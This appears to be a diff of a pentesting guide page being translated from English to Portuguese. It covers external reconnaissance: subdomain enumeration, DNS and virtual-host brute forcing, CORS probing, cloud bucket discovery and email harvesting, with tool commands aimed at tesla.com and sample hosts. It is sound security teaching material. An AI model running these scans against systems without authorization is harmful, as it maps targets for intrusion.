-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
 
-{% embed url="https://go.intigriti.com/hacktricks" %}
 
-## Subdomains
+## Subdomínios
 
-> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies.
+> Sabemos todas as empresas dentro do escopo, todos os ativos de cada empresa e todos os domínios relacionados às empresas.
 
-It's time to find all the possible subdomains of each found domain.
+É hora de encontrar todos os possíveis subdomínios de cada domínio encontrado.
 
 > [!TIP]
-> Note that some of the tools and techniques to find domains can also help to find subdomains
+> Observe que algumas das ferramentas e técnicas para encontrar domínios também podem ajudar a encontrar subdomínios
 
 ### **DNS**
 
-Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it).
-
+Vamos tentar obter **subdomínios** dos registros **DNS**. Também devemos tentar por **Transferência de Zona** (Se vulnerável, você deve relatar).
 ```bash
 dnsrecon -a -d tesla.com
 ```
-
 ### **OSINT**
 
-The fastest way to obtain a lot of subdomains is search in external sources. The most used **tools** are the following ones (for better results configure the API keys):
+A maneira mais rápida de obter muitos subdomínios é pesquisar em fontes externas. As **ferramentas** mais utilizadas são as seguintes (para melhores resultados, configure as chaves da API):
 
 - [**BBOT**](https://github.com/blacklanternsecurity/bbot)
-
 ```bash
 # subdomains
 bbot -t tesla.com -f subdomain-enum
@@ -242,108 +217,80 @@ bbot -t tesla.com -f subdomain-enum -rf passive
 # subdomains + port scan + web screenshots
 bbot -t tesla.com -f subdomain-enum -m naabu gowitness -n my_scan -o .
 ```
-
 - [**Amass**](https://github.com/OWASP/Amass)
-
 ```bash
 amass enum [-active] [-ip] -d tesla.com
 amass enum -d tesla.com | grep tesla.com # To just list subdomains
 ```
-
 - [**subfinder**](https://github.com/projectdiscovery/subfinder)
-
 ```bash
 # Subfinder, use -silent to only have subdomains in the output
 ./subfinder-linux-amd64 -d tesla.com [-silent]
 ```
-
 - [**findomain**](https://github.com/Edu4rdSHL/findomain/)
-
 ```bash
 # findomain, use -silent to only have subdomains in the output
 ./findomain-linux -t tesla.com [--quiet]
 ```
-
 - [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/en-us)
-
 ```bash
 python3 oneforall.py --target tesla.com [--dns False] [--req False] [--brute False] run
 ```
-
 - [**assetfinder**](https://github.com/tomnomnom/assetfinder)
-
 ```bash
 assetfinder --subs-only 
 ```
-
 - [**Sudomy**](https://github.com/Screetsec/Sudomy)
-
 ```bash
 # It requires that you create a sudomy.api file with API keys
 sudomy -d tesla.com
 ```
-
 - [**vita**](https://github.com/junnlikestea/vita)
-
 ```
 vita -d tesla.com
 ```
-
 - [**theHarvester**](https://github.com/laramies/theHarvester)
-
 ```bash
 theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
 ```
+Existem **outras ferramentas/APIs interessantes** que, mesmo não sendo diretamente especializadas em encontrar subdomínios, podem ser úteis para encontrar subdomínios, como:
 
-There are **other interesting tools/APIs** that even if not directly specialised in finding subdomains could be useful to find subdomains, like:
-
-- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Uses the API [https://sonar.omnisint.io](https://sonar.omnisint.io) to obtain subdomains
-
+- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Usa a API [https://sonar.omnisint.io](https://sonar.omnisint.io) para obter subdomínios
 ```bash
 # Get list of subdomains in output from the API
 ## This is the API the crobat tool will use
 curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
 ```
-
-- [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com)
-
+- [**API gratuita JLDC**](https://jldc.me/anubis/subdomains/google.com)
 ```bash
 curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
 ```
-
-- [**RapidDNS**](https://rapiddns.io) free API
-
+- [**RapidDNS**](https://rapiddns.io) API gratuita
 ```bash
 # Get Domains from rapiddns free API
 rapiddns(){
- curl -s "https://rapiddns.io/subdomain/$1?full=1" \
-  | grep -oE "[\.a-zA-Z0-9-]+\.$1" \
-  | sort -u
+curl -s "https://rapiddns.io/subdomain/$1?full=1" \
+| grep -oE "[\.a-zA-Z0-9-]+\.$1" \
+| sort -u
 }
 rapiddns tesla.com
 ```
-
 - [**https://crt.sh/**](https://crt.sh)
-
 ```bash
 # Get Domains from crt free API
 crt(){
- curl -s "https://crt.sh/?q=%25.$1" \
-  | grep -oE "[\.a-zA-Z0-9-]+\.$1" \
-  | sort -u
+curl -s "https://crt.sh/?q=%25.$1" \
+| grep -oE "[\.a-zA-Z0-9-]+\.$1" \
+| sort -u
 }
 crt tesla.com
 ```
-
-- [**gau**](https://github.com/lc/gau)**:** fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl for any given domain.
-
+- [**gau**](https://github.com/lc/gau)**:** busca URLs conhecidas do Open Threat Exchange da AlienVault, da Wayback Machine e do Common Crawl para um domínio específico.
 ```bash
 # Get subdomains from GAUs found URLs
 gau --subs tesla.com | cut -d "/" -f 3 | sort -u
 ```
-
-- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): They scrap the web looking for JS files and extract subdomains from there.
-
+- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Eles vasculham a web em busca de arquivos JS e extraem subdomínios a partir daí.
 ```bash
 # Get only subdomains from SubDomainizer
 python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@@ -351,42 +298,35 @@ python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
 # Get only subdomains from subscraper, this already perform recursion over the found results
 python subscraper.py -u tesla.com | grep tesla.com | cut -d " " -f
 ```
-
 - [**Shodan**](https://www.shodan.io/)
-
 ```bash
 # Get info about the domain
 shodan domain 
 # Get other pages with links to subdomains
 shodan search "http.html:help.domain.com"
 ```
-
 - [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder)
-
 ```bash
 export CENSYS_API_ID=...
 export CENSYS_API_SECRET=...
 python3 censys-subdomain-finder.py tesla.com
 ```
-
 - [**DomainTrail.py**](https://github.com/gatete/DomainTrail)
-
 ```bash
 python3 DomainTrail.py -d example.com
 ```
-
-- [**securitytrails.com**](https://securitytrails.com/) has a free API to search for subdomains and IP history
+- [**securitytrails.com**](https://securitytrails.com/) tem uma API gratuita para pesquisar subdomínios e histórico de IP
 - [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
 
-This project offers for **free all the subdomains related to bug-bounty programs**. You can access this data also using [chaospy](https://github.com/dr-0x0x/chaospy) or even access the scope used by this project [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
+Este projeto oferece **gratuitamente todos os subdomínios relacionados a programas de bug-bounty**. Você pode acessar esses dados também usando [chaospy](https://github.com/dr-0x0x/chaospy) ou até mesmo acessar o escopo usado por este projeto [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
 
-You can find a **comparison** of many of these tools here: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
+Você pode encontrar uma **comparação** de muitas dessas ferramentas aqui: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
 
-### **DNS Brute force**
+### **Força bruta de DNS**
 
-Let's try to find new **subdomains** brute-forcing DNS servers using possible subdomain names.
+Vamos tentar encontrar novos **subdomínios** forçando servidores DNS usando possíveis nomes de subdomínio.
 
-For this action you will need some **common subdomains wordlists like**:
+Para esta ação, você precisará de algumas **listas de palavras comuns de subdomínios como**:
 
 - [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
 - [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@@ -394,118 +334,93 @@ For this action you will need some **common subdomains wordlists like**:
 - [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
 - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
 
-And also IPs of good DNS resolvers. In order to generate a list of trusted DNS resolvers you can download the resolvers from [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) and use [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) to filter them. Or you could use: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
+E também IPs de bons resolvedores de DNS. Para gerar uma lista de resolvedores de DNS confiáveis, você pode baixar os resolvedores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) e usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrá-los. Ou você poderia usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
 
-The most recommended tools for DNS brute-force are:
-
-- [**massdns**](https://github.com/blechschmidt/massdns): This was the first tool that performed an effective DNS brute-force. It's very fast however it's prone to false positives.
+As ferramentas mais recomendadas para força bruta de DNS são:
 
+- [**massdns**](https://github.com/blechschmidt/massdns): Esta foi a primeira ferramenta que realizou uma força bruta de DNS eficaz. É muito rápida, no entanto, é propensa a falsos positivos.
 ```bash
 sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
 ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
 grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
 ```
-
-- [**gobuster**](https://github.com/OJ/gobuster): This one I think just uses 1 resolver
-
+- [**gobuster**](https://github.com/OJ/gobuster): Este eu acho que usa apenas 1 resolvedor
 ```
 gobuster dns -d mysite.com -t 50 -w subdomains.txt
 ```
-
-- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is a wrapper around `massdns`, written in go, that allows you to enumerate valid subdomains using active bruteforce, as well as resolve subdomains with wildcard handling and easy input-output support.
-
+- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) é um wrapper em torno do `massdns`, escrito em go, que permite enumerar subdomínios válidos usando bruteforce ativo, além de resolver subdomínios com tratamento de wildcard e suporte fácil de entrada-saída.
 ```
 shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
 ```
-
-- [**puredns**](https://github.com/d3mondev/puredns): It also uses `massdns`.
-
+- [**puredns**](https://github.com/d3mondev/puredns): Ele também usa `massdns`.
 ```
 puredns bruteforce all.txt domain.com
 ```
-
-- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) uses asyncio to brute force domain names asynchronously.
-
+- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) usa asyncio para forçar nomes de domínio de forma assíncrona.
 ```
 aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
 ```
+### Segunda Rodada de Força Bruta DNS
 
-### Second DNS Brute-Force Round
-
-After having found subdomains using open sources and brute-forcing, you could generate alterations of the subdomains found to try to find even more. Several tools are useful for this purpose:
-
-- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Given the domains and subdomains generate permutations.
+Após ter encontrado subdomínios usando fontes abertas e força bruta, você pode gerar alterações dos subdomínios encontrados para tentar encontrar ainda mais. Várias ferramentas são úteis para esse propósito:
 
+- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Dado os domínios e subdomínios, gera permutações.
 ```bash
 cat subdomains.txt | dnsgen -
 ```
-
-- [**goaltdns**](https://github.com/subfinder/goaltdns): Given the domains and subdomains generate permutations.
-  - You can get goaltdns permutations **wordlist** in [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
-
+- [**goaltdns**](https://github.com/subfinder/goaltdns): Dado os domínios e subdomínios, gere permutações.
+- Você pode obter as permutações do goaltdns **wordlist** [**aqui**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
 ```bash
 goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
 ```
-
-- [**gotator**](https://github.com/Josue87/gotator)**:** Given the domains and subdomains generate permutations. If not permutations file is indicated gotator will use its own one.
-
+- [**gotator**](https://github.com/Josue87/gotator)**:** Dado os domínios e subdomínios, gera permutações. Se nenhum arquivo de permutações for indicado, o gotator usará o seu próprio.
 ```
 gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
 ```
-
-- [**altdns**](https://github.com/infosec-au/altdns): Apart from generating subdomains permutations, it can also try to resolve them (but it's better to use the previous commented tools).
-  - You can get altdns permutations **wordlist** in [**here**](https://github.com/infosec-au/altdns/blob/master/words.txt).
-
+- [**altdns**](https://github.com/infosec-au/altdns): Além de gerar permutações de subdomínios, ele também pode tentar resolvê-los (mas é melhor usar as ferramentas comentadas anteriormente).
+- Você pode obter a **wordlist** de permutações do altdns [**aqui**](https://github.com/infosec-au/altdns/blob/master/words.txt).
 ```
 altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
 ```
-
-- [**dmut**](https://github.com/bp0lr/dmut): Another tool to perform permutations, mutations and alteration of subdomains. This tool will brute force the result (it doesn't support dns wild card).
-  - You can get dmut permutations wordlist in [**here**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
-
+- [**dmut**](https://github.com/bp0lr/dmut): Outra ferramenta para realizar permutações, mutações e alterações de subdomínios. Esta ferramenta fará força bruta no resultado (não suporta wildcard dns).
+- Você pode obter a lista de palavras de permutações do dmut [**aqui**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
 ```bash
 cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
-    --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
+--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
 ```
+- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Com base em um domínio, ele **gera novos nomes de subdomínios potenciais** com base em padrões indicados para tentar descobrir mais subdomínios.
 
-- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Based on a domain it **generates new potential subdomains names** based on indicated patterns to try to discover more subdomains.
-
-#### Smart permutations generation
-
-- [**regulator**](https://github.com/cramppet/regulator): For more info read this [**post**](https://cramppet.github.io/regulator/index.html) but it will basically get the **main parts** from the **discovered subdomains** and will mix them to find more subdomains.
+#### Geração de permutações inteligentes
 
+- [**regulator**](https://github.com/cramppet/regulator): Para mais informações, leia este [**post**](https://cramppet.github.io/regulator/index.html), mas basicamente ele obterá as **partes principais** dos **subdomínios descobertos** e as misturará para encontrar mais subdomínios.
 ```bash
 python3 main.py adobe.com adobe adobe.rules
 make_brute_list.sh adobe.rules adobe.brute
 puredns resolve adobe.brute --write adobe.valid
 ```
-
-- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ is a subdomain brute-force fuzzer coupled with an immensly simple but effective DNS reponse-guided algorithm. It utilizes a provided set of input data, like a tailored wordlist or historical DNS/TLS records, to accurately synthesize more corresponding domain names and expand them even further in a loop based on information gathered during DNS scan.
-
+- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ é um fuzzer de força bruta para subdomínios acoplado a um algoritmo guiado por resposta DNS imensamente simples, mas eficaz. Ele utiliza um conjunto de dados de entrada fornecido, como uma lista de palavras personalizada ou registros DNS/TLS históricos, para sintetizar com precisão mais nomes de domínio correspondentes e expandi-los ainda mais em um loop com base nas informações coletadas durante a varredura DNS.
 ```
 echo www | subzuf facebook.com
 ```
+### **Fluxo de Trabalho de Descoberta de Subdomínios**
 
-### **Subdomain Discovery Workflow**
-
-Check this blog post I wrote about how to **automate the subdomain discovery** from a domain using **Trickest workflows** so I don't need to launch manually a bunch of tools in my computer:
+Confira este post de blog que escrevi sobre como **automatizar a descoberta de subdomínios** a partir de um domínio usando **Trickest workflows** para que eu não precise lançar manualmente um monte de ferramentas no meu computador:
 
 {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
 
 {% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
 
-### **VHosts / Virtual Hosts**
+### **VHosts / Hosts Virtuais**
 
-If you found an IP address containing **one or several web pages** belonging to subdomains, you could try to **find other subdomains with webs in that IP** by looking in **OSINT sources** for domains in an IP or by **brute-forcing VHost domain names in that IP**.
+Se você encontrou um endereço IP contendo **uma ou várias páginas da web** pertencentes a subdomínios, você pode tentar **encontrar outros subdomínios com sites nesse IP** procurando em **fontes OSINT** por domínios em um IP ou **forçando nomes de domínio VHost nesse IP**.
 
 #### OSINT
 
-You can find some **VHosts in IPs using** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **or other APIs**.
+Você pode encontrar alguns **VHosts em IPs usando** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ou outras APIs**.
 
-**Brute Force**
-
-If you suspect that some subdomain can be hidden in a web server you could try to brute force it:
+**Força Bruta**
 
+Se você suspeitar que algum subdomínio pode estar oculto em um servidor web, você pode tentar forçá-lo:
 ```bash
 ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
 
@@ -519,207 +434,196 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
 #https://github.com/codingo/VHostScan
 VHostScan -t example.com
 ```
-
 > [!NOTE]
-> With this technique you may even be able to access internal/hidden endpoints.
+> Com esta técnica, você pode até conseguir acessar endpoints internos/ocultos.
 
 ### **CORS Brute Force**
 
-Sometimes you will find pages that only return the header _**Access-Control-Allow-Origin**_ when a valid domain/subdomain is set in the _**Origin**_ header. In these scenarios, you can abuse this behaviour to **discover** new **subdomains**.
-
+Às vezes, você encontrará páginas que retornam apenas o cabeçalho _**Access-Control-Allow-Origin**_ quando um domínio/subdomínio válido é definido no cabeçalho _**Origin**_. Nesses cenários, você pode abusar desse comportamento para **descobrir** novos **subdomínios**.
 ```bash
 ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
 ```
-
 ### **Buckets Brute Force**
 
-While looking for **subdomains** keep an eye to see if it is **pointing** to any type of **bucket**, and in that case [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
-Also, as at this point you will know all the domains inside the scope, try to [**brute force possible bucket names and check the permissions**](../../network-services-pentesting/pentesting-web/buckets/).
+Enquanto procura por **subdomínios**, fique atento para ver se está **apontando** para algum tipo de **bucket**, e nesse caso [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
+Além disso, como neste ponto você já conhecerá todos os domínios dentro do escopo, tente [**forçar nomes de buckets possíveis e verificar as permissões**](../../network-services-pentesting/pentesting-web/buckets/).
 
-### **Monitorization**
+### **Monitorização**
 
-You can **monitor** if **new subdomains** of a domain are created by monitoring the **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)does.
+Você pode **monitorar** se **novos subdomínios** de um domínio são criados monitorando os **Logs de Transparência de Certificados** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
 
-### **Looking for vulnerabilities**
+### **Procurando vulnerabilidades**
 
-Check for possible [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
-If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/).
+Verifique possíveis [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
+Se o **subdomínio** estiver apontando para algum **bucket S3**, [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/).
 
-If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
-&#xNAN;_Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
+Se você encontrar algum **subdomínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços que estão em execução, você pode encontrar neste livro algumas dicas para "atacá-los".\
+&#xNAN;_Note que às vezes o subdomínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
 
 ## IPs
 
-In the initial steps you might have **found some IP ranges, domains and subdomains**.\
-It’s time to **recollect all the IPs from those ranges** and for the **domains/subdomains (DNS queries).**
+Nos passos iniciais, você pode ter **encontrado alguns intervalos de IP, domínios e subdomínios**.\
+É hora de **recolher todos os IPs desses intervalos** e para os **domínios/subdomínios (consultas DNS).**
 
-Using services from the following **free apis** you can also find **previous IPs used by domains and subdomains**. These IPs might still be owned by the client (and might allow you to find [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
+Usando serviços das seguintes **APIs gratuitas**, você também pode encontrar **IPs anteriores usados por domínios e subdomínios**. Esses IPs podem ainda ser de propriedade do cliente (e podem permitir que você encontre [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
 
 - [**https://securitytrails.com/**](https://securitytrails.com/)
 
-You can also check for domains pointing a specific IP address using the tool [**hakip2host**](https://github.com/hakluke/hakip2host)
+Você também pode verificar domínios apontando para um endereço IP específico usando a ferramenta [**hakip2host**](https://github.com/hakluke/hakip2host)
 
-### **Looking for vulnerabilities**
+### **Procurando vulnerabilidades**
 
-**Port scan all the IPs that doesn’t belong to CDNs** (as you highly probably won’t find anything interested in there). In the running services discovered you might be **able to find vulnerabilities**.
+**Varra todas as portas dos IPs que não pertencem a CDNs** (pois você provavelmente não encontrará nada interessante lá). Nos serviços em execução descobertos, você pode ser **capaz de encontrar vulnerabilidades**.
 
-**Find a** [**guide**](../pentesting-network/) **about how to scan hosts.**
+**Encontre um** [**guia**](../pentesting-network/) **sobre como escanear hosts.**
 
-## Web servers hunting
+## Caça a servidores web
 
-> We have found all the companies and their assets and we know IP ranges, domains and subdomains inside the scope. It's time to search for web servers.
+> Encontramos todas as empresas e seus ativos e sabemos os intervalos de IP, domínios e subdomínios dentro do escopo. É hora de procurar por servidores web.
 
-In the previous steps you have probably already performed some **recon of the IPs and domains discovered**, so you may have **already found all the possible web servers**. However, if you haven't we are now going to see some **fast tricks to search for web servers** inside the scope.
+Nos passos anteriores, você provavelmente já realizou alguma **reconhecimento dos IPs e domínios descobertos**, então você pode já ter **encontrado todos os possíveis servidores web**. No entanto, se você não encontrou, agora vamos ver algumas **dicas rápidas para procurar servidores web** dentro do escopo.
 
-Please, note that this will be **oriented for web apps discovery**, so you should **perform the vulnerability** and **port scanning** also (**if allowed** by the scope).
-
-A **fast method** to discover **ports open** related to **web** servers using [**masscan** can be found here](../pentesting-network/#http-port-discovery).\
-Another friendly tool to look for web servers is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) and [**httpx**](https://github.com/projectdiscovery/httpx). You just pass a list of domains and it will try to connect to port 80 (http) and 443 (https). Additionally, you can indicate to try other ports:
+Por favor, note que isso será **orientado para descoberta de aplicativos web**, então você deve **realizar a varredura de vulnerabilidades** e **varredura de portas** também (**se permitido** pelo escopo).
 
+Um **método rápido** para descobrir **portas abertas** relacionadas a **servidores web** usando [**masscan** pode ser encontrado aqui](../pentesting-network/#http-port-discovery).\
+Outra ferramenta amigável para procurar servidores web é [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) e [**httpx**](https://github.com/projectdiscovery/httpx). Você apenas passa uma lista de domínios e ela tentará se conectar à porta 80 (http) e 443 (https). Além disso, você pode indicar para tentar outras portas:
 ```bash
 cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
 ```
+### **Capturas de Tela**
 
-### **Screenshots**
+Agora que você descobriu **todos os servidores web** presentes no escopo (entre os **IPs** da empresa e todos os **domínios** e **subdomínios**) você provavelmente **não sabe por onde começar**. Então, vamos simplificar e começar apenas tirando capturas de tela de todos eles. Apenas ao **dar uma olhada** na **página principal** você pode encontrar **endpoints estranhos** que são mais **propensos** a serem **vulneráveis**.
 
-Now that you have discovered **all the web servers** present in the scope (among the **IPs** of the company and all the **domains** and **subdomains**) you probably **don't know where to start**. So, let's make it simple and start just taking screenshots of all of them. Just by **taking a look** at the **main page** you can find **weird** endpoints that are more **prone** to be **vulnerable**.
+Para realizar a ideia proposta, você pode usar [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ou [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
 
-To perform the proposed idea you can use [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) or [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
+Além disso, você pode usar [**eyeballer**](https://github.com/BishopFox/eyeballer) para analisar todas as **capturas de tela** e te dizer **o que provavelmente contém vulnerabilidades**, e o que não contém.
 
-Moreover, you could then use [**eyeballer**](https://github.com/BishopFox/eyeballer) to run over all the **screenshots** to tell you **what's likely to contain vulnerabilities**, and what isn't.
+## Ativos de Nuvem Pública
 
-## Public Cloud Assets
+Para encontrar potenciais ativos de nuvem pertencentes a uma empresa, você deve **começar com uma lista de palavras-chave que identificam essa empresa**. Por exemplo, para uma empresa de criptomoedas, você pode usar palavras como: `"crypto", "wallet", "dao", "", <"subdomain_names">`.
 
-In order to find potential cloud assets belonging to a company you should **start with a list of keywords that identify that company**. For example, a crypto for a crypto company you might use words such as: `"crypto", "wallet", "dao", "", <"subdomain_names">`.
-
-You will also need wordlists of **common words used in buckets**:
+Você também precisará de listas de palavras de **palavras comuns usadas em buckets**:
 
 - [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
 - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
 - [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
 
-Then, with those words you should generate **permutations** (check the [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) for more info).
+Então, com essas palavras, você deve gerar **permutations** (verifique o [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) para mais informações).
 
-With the resulting wordlists you could use tools such as [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **or** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
+Com as listas de palavras resultantes, você pode usar ferramentas como [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ou** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
 
-Remember that when looking for Cloud Assets you should l**ook for more than just buckets in AWS**.
+Lembre-se de que, ao procurar Ativos de Nuvem, você deve **procurar mais do que apenas buckets na AWS**.
 
-### **Looking for vulnerabilities**
+### **Procurando vulnerabilidades**
 
-If you find things such as **open buckets or cloud functions exposed** you should **access them** and try to see what they offer you and if you can abuse them.
+Se você encontrar coisas como **buckets abertos ou funções de nuvem expostas**, você deve **acessá-los** e tentar ver o que eles oferecem e se você pode abusar deles.
 
 ## Emails
 
-With the **domains** and **subdomains** inside the scope you basically have all what you **need to start searching for emails**. These are the **APIs** and **tools** that have worked the best for me to find emails of a company:
+Com os **domínios** e **subdomínios** dentro do escopo, você basicamente tem tudo o que **precisa para começar a procurar por emails**. Estas são as **APIs** e **ferramentas** que funcionaram melhor para mim para encontrar emails de uma empresa:
 
-- [**theHarvester**](https://github.com/laramies/theHarvester) - with APIs
-- API of [**https://hunter.io/**](https://hunter.io/) (free version)
-- API of [**https://app.snov.io/**](https://app.snov.io/) (free version)
-- API of [**https://minelead.io/**](https://minelead.io/) (free version)
+- [**theHarvester**](https://github.com/laramies/theHarvester) - com APIs
+- API de [**https://hunter.io/**](https://hunter.io/) (versão gratuita)
+- API de [**https://app.snov.io/**](https://app.snov.io/) (versão gratuita)
